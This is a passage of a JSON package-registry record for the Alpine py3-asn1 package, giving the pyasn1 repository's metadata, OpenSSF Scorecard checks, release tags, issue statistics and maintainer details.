library","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_number":"0.6.1-r0","last_synced_at":"2026-07-29T10:00:59.044Z","created_at":"2025-06-07T18:01:09.755Z","updated_at":"2026-08-15T09:21:24.891Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.22/community/x86_64/py3-asn1","install_command":"apk add py3-asn1","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.891Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.22","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":"alpine@ptrcnull.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":493,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","role":null,"created_at":"2025-06-08T14:40:28.905Z","updated_at":"2025-06-08T14:40:28.905Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.22","url":"https://pkgs.alpinelinux.org/packages?branch=v3.22","ecosystem":"alpine","default":false,"packages_count":26323,"maintainers_count":422,"namespaces_count":2,"keywords_count":4638,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1793},"icon_url":"https://github.com/alpinelinux.png","created_at":"2025-06-05T10:49:56.987Z","updated_at":"2026-08-20T05:05:42.999Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/namespaces"}},{"id":8676179,"name":"py3-asn1-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for 